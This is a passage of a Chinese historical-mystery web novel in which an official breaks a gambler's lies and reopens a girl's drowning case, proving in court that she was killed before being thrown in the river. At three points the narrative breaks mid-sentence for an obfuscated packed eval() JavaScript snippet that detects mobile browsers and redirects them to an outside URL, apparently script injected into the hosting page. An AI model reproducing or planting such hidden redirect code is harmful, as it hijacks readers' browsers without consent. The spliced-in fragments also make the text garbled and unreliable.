“俗话说得好,人多力量大,你在他们眼里不过是个死不足惜的蝼蚁罢了,”源尚安又道,“你觉得他们是会救你,还是干脆把阿锦被害的事也一并扣到你的头上?” “……他们敢!” 孙七一声大喝,神色分明是在说那我就来个鱼死网破,把他们这些年的所作所为都抖落出来,看到时候是谁下不来台。 源尚安双手在膝盖处交叠,身躯前倾道:“孙七,你有证据吗就敢民告官?” 孙七反应迅速:“那银子就是——” 源尚安唇角微抽,似是想笑:“那不是你偷,哦,路上随手捡来的吗?” “你这是耍……” 孙七额角冒汗,差点将“耍无赖”三个字脱口而出。 “嗯?怎么不说了?” 孙七凝视他良久,觉得自己今日好似也成了吃黄连的哑巴。 见此云昼心里暗笑,源尚安瞄了他一眼,不反对他的窃喜,又道:“你的罪可大可小,也可生可死,怎么选由你决定。” “而且,你若愿意改口的话,”源尚安把那枚银锭抛进了孙七怀中,“也会有赏。” 云昼分明听见孙七抱着银子后嘿嘿一笑,以为是动了心了。 却没想到他下一句话是:“老爷真是风趣,我不过是个混吃等死的人,哪值得这样上心。” “……你,”云昼几乎要上去抓他的领口了,“孙七,你不要不识好歹!” “且慢,”源尚安抬手制止,“不要动他。” 云昼愤愤不平,但有源尚安命令在也只好隐忍不发,只用一双眸子狠狠瞪着这不识抬举的白眼狼。 孙七对他的愤怒了然于心,还引以为傲,他咬了一口检验真伪,随后喜滋滋地盘腿掂量银子玩:“真可惜,老子改主意了,这点银子使唤不动我。” 云昼没想到这泼皮还敢坐地起价,若不是源尚安在,他拔刀砍人的心都有了。 源尚安却仍旧镇静自若,仿佛这世上没有什么值得他心起波澜:“知道为什么我特意把你约到这里来见面吗?” 孙七一瞬笑不出来了,莫名觉得周遭降了温。 太奇怪了,这人分明没有任何动怒的意思,他却还是从中体会到了一丝危险的威胁气息。 “因为只有在我这里,你才能活着,”源尚安依然轻而易举地拿捏着节奏,“往后的日子但凡换个地方,你都会有无数种死法。他们办了那么久的事,应该知道他们杀人灭口的手段。” 孙七的呼吸微微一滞,手里的银锭当啷摔落在地。 可他依然打算抵抗到底:“这案子跟我没有任何关系,我只是给她指了个去处后面——” 源尚安猛然打断他的声音:“这话你亲自对你的侄女说,好不好?” 孙七不可置信地瞪圆了眼睛,上下唇颤了起来:“不可能,你……” 不可能,这家伙又在跟他玩手段! 阿锦早就死在了河里,升堂那日县太爷亲自叫来了孙夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895390|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辨认,他也在一旁看着,绝对不会有错。 他就算有通天的本事,也决不可能叫死人复生! 怔愣之际脑中一片空白,反应速度也随之下降,等到孙七再回过神来,阿锦那具瘦小腐坏的尸身已然被人抬到了自己跟前。 孙七身躯一震,数月过后尸首业已有了腐化的迹象,有几处皮肉溃烂斑驳,隐约可以瞧见里头的白骨,比自己在公堂上头回见到的模样还要可怖许多。 他胃里翻滚,不受控制地干呕起来。 云昼却揪着孙七的领口,强迫他正视着自己酿下的惨剧:“你凭什么扭头,凭什么不看?你睁开眼睛给我好好看着!看好了!” “咳、咳咳咳咳……” 死者临终前的恐惧似乎随着那对眼珠传递给了孙七,后者霎时再也按捺不住吐了出来。 与此同时,源尚安的声音飘然悬浮在他头顶上空:“看清楚了吗?你继续耍赖下去,来日的死状一定会比这惨烈百倍。” “我……” 孙七面色惨白如纸,缓了一阵后总算抚着胸膛开了口:“老爷,留春坊那种地方,怎么可能有清清白白的姑娘愿意进去?那里头都是刘妈妈收留的孤女,要么就是被爹娘狠心卖掉的。但光靠这些……怎么够。” “所以……” 孙七摇摇头:“买卖的事我掺合不了太多,我只是个手底下打杂的小碎催。一旦发现有人逃跑,就及时汇报上去。” “后来我一晚上一连输了二十把,那富少眼看着就要剁我的手脚,我没办法,只能央求他宽限我一两日把钱凑齐……” 云昼鄙夷道:“所以你就为了几两银子,卖了自己的亲侄女?” 孙七嗤笑起来:“什么叫几两银子?你懂个屁啊,那是咱们几年都攒不下来的家底!懂吗?你们这些自以为是的东西过惯了富日子,怎么知道那种感受!” 他摇摇晃晃地站了起来,这不站则罢,一起身云昼才发现这人左腿萎缩,居然是个残废。 “我替人家郑府修宅院,木头桩子咚隆一声滚下来照着我砸!事后郑府却不许我要钱,我一来就叫人打我走!你懂什么……” 云昼刹那仿若被人卡住了喉咙,一句话也说不出口。 他望见孙七那条废腿,情不自禁地想到源尚安刚刚出狱的那段时日。 鲜血淋漓,伤痕累累,那时候云昼甚至不敢想象他还能有重新站起来的一日。 云昼哑声唤:“先生……” 源尚安依然是那副心如止水的模样,面上似乎从不会有悲喜停驻:“你刚才说,你的腿是因为郑良辅才断的?” 孙七喉结滚动:“是。” “那就是说,郑良辅和你有仇?” “……是。” 源尚安又道:“那你姐姐和你没仇吧?” 孙七沉默须臾:“没有……” 源尚安轻声一哂:“那这是什么道理,好人就活该被你逼到绝路上?” “……” “孙七,你要是跟郑良辅拼命,我不仅理解,我还给你递刀,”源尚安道,“可你跟你姐姐和侄女讨债,我不理解。” 孙七咬紧了唇不做回答,显然是他的话嗤之以鼻还不服气,却一时半会儿想不到什么耍赖撒泼的话。 源尚安也不给他思索的机会:“你刚才说,在卖了阿锦之前,你是负责替留春坊看着人以防她们逃走的。” “……是,又怎么了?” “那么逃了的人应该是被抓回去才是,”源尚安道,“她们只要活着一日就能替老鸨赚一日的钱,老鸨没道理直接动手杀人。” “所以,要么是你骗了我,要么是这地方还藏着更大的秘密。这个机密一旦暴露出来,足以让他们掉脑袋,故而只能选择也必须选择杀人灭口。” 18.绵里针(三) 话音刚落,源尚安明显察觉到孙七肩膀一颤,想向后退缩。 “……什么秘密,”孙七哑声笑了笑,故作镇定,“老爷还真是敢想。” 见他笑源尚安便也跟着笑:“是啊,这只是我没根据的猜测,你完全可以不信。要不你跟我打个赌,怎么样?” 听到这个字眼,潜藏在心里的赌徒本能又被勾了出来,孙七眼珠滴溜溜一转:“……赌什么?” “你的命。” 整个询问过程里源尚安都神态自若,甚至可以说是轻松和惬意。他下颌微微抬起,坐着和地上的人对峙,这种高度差传递给外界的是一种无形的压力和气势,让被问话的人天然在势头上就矮了一截。 源尚安道:“我可以把你带过来,自然也可以叫人把你送回去。你不信我的话,那我们就赌一赌,看你回去之后还能活几天。” “少的话我这边叫人放手,你那边就会没命,多的话兴许还能再快活个三五日——怎么样,要不要和我赌一赌?” 孙七不由停住了呼吸。 源尚安给了云昼一个眼神,令他将人扶起坐到了自己身边。 “如果我是你的话,我宁可把知道的一切都交代出来,反正我没有直接沾染人命罪不至死,”源尚安道,“我完全可以用我知道的这些信息和官府做个交换,让他们保护我免遭毒手。” “而且这种事情必须尽快为之,你说对吧,”源尚安语调轻松,仿佛只是和人随意聊些街头巷尾流传的笑料,“一旦你侄女的案子开启重审,想要说真话保命的恐怕就不止你一个了。到时候你的价值恐怕就要大打折扣,就算说了也不会有人放在心上。” 说罢,源尚安抬手倒了杯热水给孙七递了过去:“你往后的命是长是短,就看今日了。” 孙七大气不敢出,盯着那被冒着热气的茶发愣,迟迟没有伸手去接的意思。 他久久凝视着那杯茶,心间似乎正上演着一场恶战。 那白瓷杯似也不是茶具,而是水流湍急时唯一能救他命的半截浮木。 不知过了多久,孙七才缓缓开口道:“留春坊的老鸨姓刘,叫采菱,大家都叫她刘妈妈。她跟她男人包了这地方,起初是专门捡些流落街头的孤女回去调教。她倒也聪明,天生就是干这行的料,从前几家窑子都被她弄倒了,里头剩下的她要是觉得好,也会劝人过来。” 源尚安道:“这种生意想做大不容易,得有人帮衬。” “是,”孙七点了点头,“她和她男人没少四处送银子打点关系。” “给县尉县丞?” 孙七呵了声:“何止啊,每过段时候上头不都会来批人么?” 源尚安哦了声,知道他想说的是负责考察官员业绩品德从而决定升降奖惩中正官。只不过孙七大字不识又是个混混,自然讲不上来具体的职位名称。 本朝遵循魏晋的流传的那套九品中正制,各个州府先推举或由朝廷指派大中正一人,再选出若干小中正,专门负责为中央品评人才。 所谓九品则是指从上上至下下九个等级,每一档标准和人数皆有严格限制。朝廷定期会将调查表下发各地,由大小中正官依照标准和当地公众意见填写姓名并附加评语,随后统一交由吏部决定升迁或是降职罢黜。 至于他为什么知道得这么清楚……自然是因为这个写评语编好话环节往往最叫人头疼厌烦。而且这制度发展到如今,已然是世族内部的游戏了。 源尚安还在丞相高纫兰手下的年月里就没少要帮他写这类东西,彼时高丞相只负责给他弄好一个大致的名单,具体评价则靠源尚安自己尽力发挥。 有时候表单上的人实在乏善可陈,只不过格外通晓其间门道外加出身高贵才得以名列上品。为了面上能过得去,天知道他那会子到底是如何绞尽脑汁到半夜三更还在写那堆漂亮废话,到最后就差说出来“这人长得可太像人了”的话用于凑字数了。 怪不得掌权者不想写呢,有使唤底下小喽啰办事的权力,谁不想让别人替自己辛苦辛苦。 只是看到这上头从来不会出现自己的名字,源尚安心中总有股说不出来的憋闷:忙活半天终究是为他人作嫁衣裳。 有些向来如此的东西,该改改了。 “你接着说,上面来了人之后呢?” “……那还能有什么然后,”孙七说到这里舔舔嘴有点想笑,“老爷是知道的,英雄难过美人关,就算过了,前头还有金山银山等着他。” “就靠着两样?” “就靠着两样,”孙七挠了挠脸,“谁不喜欢美女和钱?上赶着给你凭什么不要?” 源尚安对此不置可否,又问:“去的都是些什么人,你记得他们大致长相吗?” “这……”孙七抓了下破破烂烂的衣摆,“我没资格见。” 就他平日里那副德行,刘妈妈八成也怕他惊扰到达官贵人。 源尚安换了个问题:“有没有人每隔一段时间专门来留春坊取钱?” 这次孙七十分肯定:“有。” “什么模样,多大年纪?” 孙七嘶了声开始抓耳挠腮,云昼以为他又要耍什么鬼把戏,不料他犹豫片刻后才道:“我讲不好……反正有男有女有老有少……每次都不是同一个模样。” 他这话一出,源尚安愈发肯定背后牵扯的秘密不会小,否则不必小心翼翼地加以掩饰。 什么样的阴谋需要特意攒钱还收买人心? 源尚安沉默少顷,没有流露任何端倪,只吩咐身后小吏如实记述,随后又道:“孙七,你今日和我说的这些话,出去了之后不要再和任何人提起。” “……我知道,我……”孙七不安地搓了搓手,本能告诉他留春坊牵扯的事只会大不会小,“老爷,您能否跟我交个底?他们这些年偷偷摸摸地到底干啥了?” 下一刻他便收到了源尚安凌厉如刀的目光,孙七吞了口唾沫自觉闭了嘴。 “没你的事了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903246|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”源尚安叫人进来准备带孙七下去,“公堂上该说什么会安排给你,你要是敢临阵倒戈——” 孙七立马道:“明白,我明白,规矩我都懂,老爷您放心,不该说的话我一个字都不会说。” —————— “……走了,什么时候?” 解决完孙七的事之后,源尚安只想去主帐里找源素臣,却不曾想收到的是他带队离开的消息。 戚玹道:“两个时辰前少主带队去郊外狩猎,正巧碰上一伙强盗携带钱财逃窜,事不宜迟就跟了上去。” 源尚安感觉灵敏,飞速意识到这极有可能是留春坊的人见情势不对试图藏匿赃物和证据。 “啊对了,少主特意交代我……”戚玹示意源尚安原地别动,自己转头去炉子上端下来了一锅汤,“前些日子咱们的人去抓了点鱼虾,虽然个头不大,但尝着挺香的。少主就专门炖了锅虾汤,走之前说您趁热吃。” 白花花的豆腐和饱满圆润的虾仁鲜香四溢,光看卖相就知道做饭的人一定花了极大的心思和耐性。 除此之外,还有一碗炸好的小鱼干,外皮金黄酥脆,光是想象一下入口后咔嚓的声音就叫人心痒难耐。 源尚安看了眼天色,再过一会儿就要天明,这顿夜宵再不吃就成早膳了。 事已至此,那就吃吧。 源尚安本想邀请戚玹一起,但发觉源素臣明显做的是一人餐后还是放弃了。 戚玹也道:“没事的府君我吃过了。” 源尚安发觉他无论何时神经都好像是紧绷着的,没有一刻放松。 他吃了口豆腐,笑问道:“我兄长平日里管你很严吗?” “……啊,那倒没有,”戚玹下意识地还想低头,可瞬间回想起源尚安的话,又刷地抬了起来和他对视,“少主他一向赏罚分明,从来不会随意发火的。” 源尚安嗯了声,又夹了块虾肉:“他有时候看起来捉摸不透,但其实骨子里是个温柔细腻的人。” 戚玹情不自禁地咳了声:还真没察觉出来。 源尚安知道他为何尴尬,却也只是一笑置之:“你别看他跟你们那么严肃讲规矩,其实他小时候皮得很。” 戚玹有些好奇,但本能觉得打听上司这种事不太好:“……真的?” “真的,”源尚安道,“当年教书的岳先生对他恨得牙痒痒。” 戚玹面露奇异,显然一时半会没办法把平日里见到的那位临危不乱的少将军和源尚安口中淘气顽皮的小孩联系到一起。 源尚安扒完了最后一口饭:“他不光自己玩,还喜欢祸害别人,拉着我一块东跑西跑。” 戚玹唇角微动,实在想象不出来那副场景。 然而恰在他愣神的空档源尚安收拾好了碗筷:“戚将军暂时不需要休息吧?” “不啊,怎么?” “那就麻烦带着赵兴和我走一趟县衙,”源尚安道,“这桩‘失足溺亡案’,该重新审上一审了。” 19.拨迷云(一) 咚、咚—— 鸣冤鼓尘封多年,鼓皮已然发霉,周遭用金属镶嵌装点的部位也蒙上了锈迹。是以鼓槌落下的一瞬响声略显沉闷,不足以吸引注意。 孙七咬了咬牙,摇摇晃晃地高举起鼓槌,拼尽全力砸了上去。 咚! 这一下震天动地,不仅险些锤破鼓面,更是引得过路人纷纷驻足窃窃私语。 “唉唉唉,”衙门的差役还没睡醒,怨气不比喊冤叫屈的人轻,“干什么的?!一大清早地吵吵什么?” 孙七还没开口,就有围观的大汉替他打抱不平:“这是什么口气,没看见人家有冤要告吗?” “哎呦,”差役揉了揉眼睛,定睛一看是孙七之后笑了起来,“我当是谁呢?原来是条赖皮狗。喏,小狗子,你够得着鼓吗?” 余下的衙役随着他一起不留情面地嘲笑。 孙七脸上一阵青一阵白:“你少来狗眼看人低!我是有冤要告,你们凭什么不理!” “哟呵,你还有冤要告,”那差役笑了起来,“狗日的,你又跟人赌钱输了吧?” 孙七当即涨红了脸:“你……” 身后毫不客气地爆发出一阵大笑。 “哎,你们这是干什么,”围观群众开始抗议,“凭什么不叫人家告?” “就是就是。” “你还不知道人家要说什么呢。” 孙七来了底气,又道:“听好了,我有冤,我要告状!我要告留春坊逼良为娼,活生生害死了我侄女!” 他这一声铆足了劲喊,瞬间吸引来了更多看客。 衙役驳斥道:“你少胡咧咧!” 围观者中有人道:“他说的那个留春坊我也有听说过……好像真的会打人呢。” “……上回老张家的那个女儿不就是走丢了吗,后来在他们那儿找到的……那姑娘说是自愿入伙……” “我就知道这里头肯定有猫腻!” …… 一阵议论后众人开始帮着孙七起哄:“凭什么不叫他告!你们是不是也收他们的钱!” 衙役顿时恼羞成怒,挥着大棒就要打人赶人:“公堂之上不得胡闹!” “好一个不得胡闹,那我问问你,你方才这叫什么?” 衙役正要骂此人不长眼睛活腻歪了,可一瞬像是被人掐住了脖子,憋得脸颊通红:“你你你、你是……” 源尚安和赵兴并排前来,衙役不认得源尚安,却认得自个儿的老上司,立马软了脊梁骨:“原来是赵大人,小人失礼、失礼……” 身后人群响起一阵嘘声。 衙役不知道源尚安身份,但看赵兴对他毕恭毕敬也知道自己惹不起,慌忙跪下给自己辩白道:“大人有所不知,这位名叫孙七,是个泼皮无赖的主儿,从前没少闹事,小的也是怕这刁民……” 源尚安不和他辩论这些,只微笑问道:“你从何断言我一定有所不知?” 衙役:“……” 源尚安转头问赵兴:“既然是审理案件,那县太爷不来不像话吧。” 县令刘达及时赶了过来:“全凭大人吩咐,全凭大人吩咐。” 源尚安摆了摆手:“不敢吩咐。” “大人谦虚了。” “我不是这儿的人,插手内务于法不合,”源尚安道,“该怎么办案就怎么办案,依照衙门的章程走,我不便干涉。” 刘县令一个是字还没出口,源尚安便又道:“只能旁听。” 他一时卡了嗓子不知怎么回话,而恰在这时潘县丞道:“太爷何必紧张,本县从来没有不许围观旁听的规矩,既然顾大人想看,那就请大人来。” “啊,是……” 他好歹是个县令,却还要在下属面前唯唯诺诺,平日里整理县务是如何模样已然可以想见。 赵兴一见潘县丞来,笃定的气势瞬间又虚了下去,隐隐有再度倒戈的苗头。 源尚安心下了然,面色却依然平静无波:“既然是审案,不知这升堂二字——” 他似是不经意间转头看到了赵兴:“赵大人,我记得你的嗓门不错。不如今日这重担就交由你来。” 赵兴:“啊、我、我?” “有何难处?” “没、没……” 赵兴倒吸一口凉气,这不等于是公然跟潘县丞宣告他叛变了吗! 在他的认知里,这种事还是应该偷偷摸摸的,不该摆到明面上来——说出来多叫人尴尬呢。 但事已至此,他也无可奈何。赵兴默念了好几声“开弓没有回头箭”,随即气沉丹田后喊道:“升堂、升堂!” 棍棒哒哒敲响,孙七颤颤巍巍地跪了下来:“请老爷做主!” 刘县令不由自主地瞄了眼源尚安,见他神色自若后又默默收回了眼神,清了清嗓子道:“状告何事?” 孙七一副苦大仇深的模样:“老爷,去岁九十月份我与堂姐商议,将她女儿阿锦送往留春坊名下的一处洗衣房做工。却没想到留春坊竟然打起了我侄女儿的主意,把人偷摸收编成了舞妓,后来我替堂姐探望时发现不对,想接她出来,可没想到那帮黑心的东西直接杀了她推到河里!老爷,寒冬腊月的天,人不被淹死也被冻死了!” “等等,等等,”刘县令面露怀疑,“那是你姐姐的女儿?” “是。” 刘县令嘶了声:“那为什么不是你姐姐亲自来告?” 孙七磕头道:“老爷明察,我堂姐她已多日不见踪影,实在来不了啊……” “什么?” 此话一出不仅公堂上的人暗自抽气,衙门外围观之人也个个惊异万分。 “怎么这么巧?” “不会是被……哎,苦命人啊。” “老爷,”孙七再抬眸时竟然流了眼泪,“草民实在是越想越怕,您可要为草民做主啊!” 刘县令啪的一声拍响惊堂木,还真像那么回事:“来人,速速传留春坊的人前来!” 在这请人的空档里,潘县丞一言不发,只盯着另一侧的源尚安看。 他没有心思赞叹此人容貌气度,脑子里琢磨的都是他的身份。 他到底是什么来头?到底有什么靠山? 源尚安对他的眼神心绪了然于胸:“初次见面,我有一份心意献给潘大人。” 他眼神一递,云昼立时上前把那一大箱草药搬上来如数奉还:“潘大人,一点回礼,不成敬意。” “哪里哪里,顾——”潘县丞正要说话,看清箱子模样后瞳孔瞬间放大:“这……” 这正是他前些日子要送给源尚安的草药!这哪里是回礼,分明是原路返还。 潘县丞哑了嗓子说不出话来,这既是优雅的提点也是略带威慑的警告:你的小算盘和歪心思我心知肚明,少和我玩这种把戏。 云昼问:“潘大人怎么不收?” “……收,收,”潘县丞硬着头皮声音发虚,“谢谢顾大人好意。” 那头留春坊的人已然被找了过来,她一见审案子的是刘县令便松了口气,可望见一侧旁观的源尚安时眉头又蹙了起来。 这是什么人?当地有头有脸的人物她都知道,唯独没听过这位的消息。 她隐约觉得不妙,刘县令没注意到这处细节,问道:“你是何人?” “民女留春坊掌柜刘采菱。” “这位孙七,他……”刘县令从前对他的所作所为也有所耳闻,此刻也有点不屑提起,便草草略过,“他说留春坊私自将他侄女阿锦收为舞妓,可有此事?” 刘采菱当即又惊又怒,以手抚着心口道:“太爷,您可知这位孙七是个什么德行?他就是个破皮无赖,最喜欢讹人!本店经营多年从来都是严守规矩,哪会有那档子事!” 说罢她便将提前准备好的开店凭证递了过去:“太爷您看,这上头的是不是衙门的章?” “是,确实是,那——” 刘采菱迅速夺过话头:“太爷明鉴,民女向来本分,从没做过那等伤天害理的事。不信您尽管去问,这坊里的姑娘都是可怜见的,也没个去处,我收养了她们,给了她们一个谋生的法子,却还要被这臭不要脸的东西赖上!” 孙七也不甘示弱,立即骂道:“我呸,你才是个不要脸的玩意儿!你以为我不知道你干的都是些什么勾当?整条街就属你下手最毒!那些姑娘哭着求你,你手软过吗?” “你、你……混账!”刘采菱恼怒之下啪地甩了孙七一耳光,“公堂之上也敢空口白牙污人清白,谁给你的胆量!太爷,您万万不要信他胡言乱语,我也带了个姑娘过来,大可问问她!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909655|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两方对质的场景看得众人一瞬呆住了,连议论点评也跟着忘了,都在脑海中琢磨着二人言辞的可信度。 “停停停,”赵兴听不下去了,“这里是公堂,不是菜市口,谁叫你们吵架动手的?” 他说罢瞄了眼源尚安,见后者没有出言反对才又点了两个人道:“把他们二人拉开,有话好好说。” “既然如此,那就把那姑娘——” “且慢,”源尚安打断了他,直视着刘采菱,“方才太爷的问题你为何回避?” “大人,我……” 源尚安不给她辩解的机会,把逐渐偏离的话题又拽了回来:“你现在只许回答一件事,阿锦可曾在留春坊名下做工?” 刘采菱不由得深吸一口气。 赵兴喝道:“回话!” “……是,”刘采菱别过脸去,“确有此事。” 身后人群传来一阵意味不明的“噫”声。 “那姑娘确实是被她母亲和那家伙送来的,我看她年纪小也不想难为她,”刘采菱道,“谁成想出了些差池,她自个儿不当心跌进了湖里,我也觉得可惜。可没想到这个杀千刀的东西还想讹一笔钱!” “既然你说她是失足落水而亡,”源尚安道,“那你现在告诉大家,阿锦是什么时候去的湖边,又是怎么摔下去的,周围有没有人,如果有,为什么没有施救?” 刘采菱深深吸了几口气,胸膛跟着剧烈起伏,她已然察觉到了这个身份不明的人没那么好糊弄过去。 但是他到底是什么时候来的这里,又怎么突然要调查这个案子?在这之前怎么没有任何一个人跟自己说过? 一连串的疑问盘踞心头,刘采菱不得不怀疑是否有人背刺,也疑心源尚安代表着某种更为强大的力量。 ……不、不可能,夏州的权贵她都打过交道,在这里没有人会比那个人更有权威,不可能…… 优势不再的预感令她霎时如临深渊:“回、回大人,那时候大约是腊月下旬,她和人去河边浆洗衣裳,小孩子嘛,爱玩,有点顽皮,一个人跑了去玩,咱们也拦不住她。这河面上的冰看着厚,其实薄得很,一不留神就……哎。” 话音刚落她就懵了,方才她一直盯着源尚安的一举一动不敢松懈,若不是眼花那他方才好像是……在笑? “很好,你果真有一套说辞,”源尚安道,“当时的尸首是谁检验的?” 刘采菱报了个名字,赵兴很懂事地派人把仵作叫来了。 这竭力讨好的模样引得身后的潘县丞轻哼嫌弃。 ——呵,不就是讨好上头吗?可显着你小子了,谁不会啊。 源尚安道:“事到如今那就更叫人奇怪了,为什么这案子所有人都有着落,唯独死者的生母不知何处?” 孙七得了暗示,立马扑通一声跪地哭道:“老爷,各位,你们都听到都看到了吧,我姐姐她下落不明多日啊!谁知道她是不是被哪个坏良心的东西害了呀,呜呜呜呜……” 这个死无赖! 他嘴里“坏了良心”的潘县丞暗自瞋目切齿,他算是看明白了,这姓赵和姓孙的两家伙没一个好东西!胳膊肘全都拐外人那去了,亏他以前还给人分过钱。 呵,公然讨好表忠心,说那么一大堆没羞没躁的话,还要不要脸! 潘县丞努力运了运气:“顾大人。” “嗯?” “谁说孙夫人被人暗害?孙夫人好着呢!”潘县丞脸不红心不跳,“顾大人,下官身为县丞,理应体恤老弱妇孺。这孙夫人自从失了独女之后便一直神志不清,下官心忧不已,所以……” 源尚安眉头挑了挑,好像是觉得很有趣:“所以?” 潘县丞陪笑:“所以下官把她接回去好生调养。来人——” 要不是这么多双眼睛看着,赵兴真想上去给这姓潘的两巴掌。 好个厚脸皮的狗玩意儿,还能说出如此恬不知耻的话来!真当他不知道姓潘的打的什么算盘! 滚啊! 眼看三个人暗中较劲,彼此都恨不得一口咬死对方。处于风波中心的源尚安却依然云淡风轻。 他轻轻拉来云昼,在他耳畔略带戏弄道:“你看。” “……怎么?” “像不像三条狗,在那儿汪呜汪呜地叫。” 20.拨迷云(二) 云昼:“……” 想在先生面前当乖乖小狗的心思突然就收到了那么一点点打击。 身后的刘县令欲言又止,明显是想要劝阻两方再和稀泥却又无从下手。 这两下属平常根本就不把它放在眼里,这个时候自己讲什么都不管用,只能咽下这口窝囊气,继续干着急。 源尚安瞥了他一眼,轻声点评道:“这还有条哑巴狗。” 潘县丞接来了孙夫人,整个人也立刻有了底气:“太爷您看,人这不是完好无损的在这里吗?” 虽然他口中喊的是太爷二字,但源尚安知道潘县丞是想给自己看。 他也的确没说错,孙夫人气色尚可,神色间也不见疲惫,不像是被人故意苛待过。 源尚安冲她点头致意:“不知夫人近来可好?” 孙夫人见是他来也松了一口气:“谢大人挂念,一切无恙。” 孙七没想到还有这么一出,一时间瞠目结舌。 “这……”刘县令为难道,“听说孙夫人之前……之前有病在身,能上堂作证吗?” 潘县丞道:“太爷,小人照顾她这些时日早派郎中跟着了,您如今直接问就是。” 他并不慌乱,一早就和人说好了:他不会伤害孙夫人,但作为交换孙夫人也不能说任何对他不利的话。 见老朋友如此气定神闲,赵兴更是气不打一处来。 这家伙果然自己做好了一切准备,就等着坑他呢。 刘县令拍响了惊堂木,打断了众人的神思:“孙夫人,本官若是没记错的话,你女儿意外身亡的案子已经结了吧?” 孙夫人呼吸微促:“……是。” “既然你已认下本官所判结果,又为何派人申冤?” 孙夫人已然有些压制不住自己的情绪,恰在此刻源尚安回以眼神,示意她不必担忧如实说下去。 “太爷,我就这么一个女儿,她爹走的早,我一个人把她拉扯大,对我而言她就是这世上最好的孩子,”谈及伤心往事,孙夫人一瞬也哽咽起来,“可是下葬的那一日,我看过她的尸体……我的阿锦身上满是伤痕,我不相信她只是失足落水。” 她话音未落,身后人群已是一片唏嘘感叹。 “这、这……”仵作环视一周,瞬间明白了上头哪个人都不想担责任,他要是再不开口这口黑锅就得背上了:“孙夫人,我知道你爱女心切,可验尸也有验尸的法子,不能说您认为什么样就一定是什么样。那天我和其他人都看过一遍了,您的女儿她就是意外落水身亡!” “你……” 孙夫人气得想和他当场争辩,赵兴眼疾手快扶住了人:“夫人,我知道您要说什么,他既然笃定尸体是他检验没有问题,那我们就当着大家的面再验一回。” 孙夫人面露讶异,甚至想朝后退步,显然是被他态度大转弯惊到了:“赵大人……” “来人。将死者尸体抬上来。” 阿锦瘦小的尸身再度出现于眼前的那一瞬,钻心的痛楚如涛翻涌,孙夫人只得紧咬下唇强撑,以防自己当场晕厥。 仵作叫道:“你们不信我的话,也可以把我师父请来,绝对是一样的结论!” 源尚安道:“固有的经验便一定不会出错吗?” 仵作霎时一愣。 “我不和你争辩如何验尸,反正我不管怎么说,你都会想办法圆上,”源尚安又道,“死者是生前溺亡,还是死后被人抛尸入水,我相信实践出真知。” 千年前的公元六世纪或许犯罪手法已然多种多样,可与之相配的检验手段却没有那样发达。为后世所熟知的一些判断死亡原因和大致时辰的方式,在此时此刻还没有推广成大家的共识。 而检查死者尸体往往避免不了开膛破肚,受限于迷信思想,这类行为普遍被打上了“污秽不堪”的标签,不免令人嗤之以鼻不屑为之。 哪怕是廷尉府这样的中央部门,专司查案办案,在验尸环节往往也交给刚入门的无名小卒处理。 想要查案办案,更多时候还是依靠人证,也就是口供。 而此刻想要让人心服口服,源尚安知道唯有一个办法。 他转向云昼:“寻将军差不多该到了吧,你去接应一下。” “是。” 在场众人被他这一句话搞得一头雾水,赵兴更是低头问:“这是做什么啊顾大人?” 源尚安没有作答,无形的悬念浮于众人头顶上空,然而并未消减半分他们望见寻微登场时的讶然。 这居然是个女人。 寻微对这些窃窃私语笑而不言,心下早已猜到他们因何而议论,她道:“昨日买了两头乳猪,想替军营里的弟兄们加加餐,正巧就听到主簿说起了这案子。我就想既然争论不休,那不妨实地试一下。” 两头死猪被她平放在地,寻微让开身子以便众人好好一探究竟:“胖一点的那只是我命人杀了之后丢到河里的,另一头则是直接丢下去的。我看主簿说的没错,果真是有些区别呢。” 源尚安起身上前,他什么也没有多说,只是依次掰开了两头猪的口腔四蹄,又上手拍了拍肚皮。 外头凑热闹的有人眼尖,已然瞧出来了区别,大叫道:“我知道了我知道了!那头淹死的肚内有吃下去的水,蹄子上也全都是挣扎时抓下来的泥沙!” 受他指引,其余人也反应了过来:“那头被抹脖子的伤口发黑,口鼻里根本就不会进水!” 而当众人目光再度落回阿锦身上之时,一切便一目了然。 源尚安在她身后垫了块布,小心翼翼地把人托了起来,手上包着丝帕轻轻掰开了口腔。 并没有水痕残留。 而这也让所有人看得清清楚楚,手臂脖颈上分明留有伤疤。 他尚未将尸首完全放平,孙七就替他叫了起来:“看见了吧,都看见了吧!我侄女她根本就不是自己跌下去的,她就是被刘采菱活生生虐待死的!” 啪! 孙夫人毫不客气地甩给他一掌。 “你还有脸和我说这样的话!”孙夫人悲愤至极,“当初是你找的那地方,你说你不知道那是个妓院?!” 谁成想事到关键还能有反转?围观者一时间面面相觑,都在暗自猜测隐情。 